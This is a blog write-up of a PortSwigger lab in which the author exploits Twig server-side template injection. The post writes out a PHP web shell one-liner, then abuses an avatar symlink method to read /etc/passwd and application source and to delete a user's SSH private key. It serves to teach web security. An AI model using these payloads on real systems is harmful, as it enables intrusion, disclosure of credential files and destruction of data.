Server-side template injection with a custom exploit | Dec 24, 2022
Introduction
Welcome to my another writeup! In this Portswigger Labs lab, you'll learn: Server-side template injection with a custom exploit! Without further ado, let's dive in.
- Overall difficulty for me (From 1-10 stars): ★★★★★★★☆☆☆
Background
This lab is vulnerable to server-side template injection. To solve the lab, create a custom exploit to delete the file /.ssh/id_rsa from Carlos's home directory.
You can log in to your own account using the following credentials: wiener:peter
Exploitation
Login as user wiener:


As you can see, in my account page, we can change our preferred name.
In previous lab, we found that this function is vulnerable to Server-Side Template Injection(SSTI).
To exploit this, we can intercept Submit request via Burp Suite:

Then, go to one of those posts in the home page:


And leave a comment:


Now, let's try to trigger a SSTI vulnerability via changing the blog-post-author-display parameter value:


As you can see, our username changed to a SSTI payload, and 7 * 7 is 49.
Next, we need to identify which template engine is the web application using.
To do so, I'll trigger an error:


In the error output, we can see that it's using a template engine called Twig, which is written in PHP.
In PayloadAllTheThings, we can try to get code execution:

However, none of them are working:

Let's go to Twig offical website:
In the home page, we can already see something interesting:

Hmm… Sandbox mode. Looks like we need to do some sandbox bypass.
Now, we have access to the user object:

This will be very helpful for us.
Let's go back to my account page:

As you can see, we can upload an avatar image.
Let's try to upload a PHP web shell:
┌──(root🌸siunam)-[~/ctf/Portswigger-Labs/Server-Side-Template-Injection]
└─# echo '<?php system($_GET["cmd"]); ?>' > webshell.jpg.php


Hmm… This PHP file(/home/carlos/User.php) checks the file MIME type is an image or not.
Also, it's using an object user's method called setAvatar()!
Let's try to upload a valid image file:


Armed with above information, we can go back to the post comment:

Notice that our avatar has been changed.
Now, what if I call method setAvatar() in object user, and try to read /etc/passwd?


Hmm… Too few arguments error.
The error output when we're uploading a PHP webshell, it also shows us it needs 2 arguments: filename and MIME type.
Let's supply MIME type argument too:
user.setAvatar('/etc/passwd','image/png')


Although it looks like an error image, we can download it:

Note: You can also send a GET request to
/avatar?avatar=wienerto download it.
┌──(root🌸siunam)-[~/ctf/Portswigger-Labs/Server-Side-Template-Injection]
└─# cat /home/nam/Downloads/avatar
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
[...]
Boom! We have local file read!
Hmm… Now we have local file read, but how to delete carlos's private SSH key(id_rsa)?
If we have local file read, let's read the source code of /home/carlos/User.php!
user.setAvatar('/home/carlos/User.php','image/png')

┌──(root🌸siunam)-[~/ctf/Portswigger-Labs/Server-Side-Template-Injection]
└─# curl https://0ad70054043a656fc360ed500022001c.web-security-academy.net/avatar --cookie "session=xsy5TfCl8CHOw6Q2GAm9MP741h7RiHrV" --get --data-urlencode "avatar=wiener" -o User.php
User.php:
<?php
class User {
public $username;
public $name;
public $first_name;
public $nickname;
public $user_dir;
public function __construct($username, $name, $first_name, $nickname) {
$this->username = $username;
$this->name = $name;
$this->first_name = $first_name;
$this->nickname = $nickname;
$this->user_dir = "users/" . $this->username;
$this->avatarLink = $this->user_dir . "/avatar";
if (!file_exists($this->user_dir)) {
if (!mkdir($this->user_dir, 0755, true))
{
throw new Exception("Could not mkdir users/" . $this->username);
}
}
}
public function setAvatar($filename, $mimetype) {
if (strpos($mimetype, "image/") !== 0) {
throw new Exception("Uploaded file mime type is not an image: " . $mimetype);
}
if (is_link($this->avatarLink)) {
$this->rm($this->avatarLink);
}
if (!symlink($filename, $this->avatarLink)) {
throw new Exception("Failed to write symlink " . $filename . " -> " . $this->avatarLink);
}
}
public function delete() {
$file = $this->user_dir . "/disabled";
if (file_put_contents($file, "") === false) {
throw new Exception("Could not write to " . $file);
}
}
public function gdprDelete() {
$this->rm(readlink($this->avatarLink));
$this->rm($this->avatarLink);
$this->delete();
}
private function rm($filename) {
if (!unlink($filename)) {
throw new Exception("Could not delete " . $filename);
}
}
}
?>
At the first glance, I immediately find something weird:
public function delete() {
$file = $this->user_dir . "/disabled";
if (file_put_contents($file, "") === false) {
throw new Exception("Could not write to " . $file);
}
}
public function gdprDelete() {
$this->rm(readlink($this->avatarLink));
$this->rm($this->avatarLink);
$this->delete();
}
private function rm($filename) {
if (!unlink($filename)) {
throw new Exception("Could not delete " . $filename);
}
}
Let's take a look at the gdprDelete() method to delete a file:
- Call function
rm(filename), and the argument is reading symbolic link file to the avatar file, which is inusers/<username>/avatar- Then function
rm(filename)try to delete the avatar file. If unable to do so, throw an error exception.
- Then function
Armed with above information, we can finally delete carlos's private SSH key(id_rsa)!
To do so, we'll need to set the avatar file to /home/carlos/.ssh/id_rsa:
user.setAvatar('/home/carlos/.ssh/id_rsa','image/png')

Then invoke method user.gdprDelete():


We did it!
What we've learned:
- Server-side template injection with a custom exploit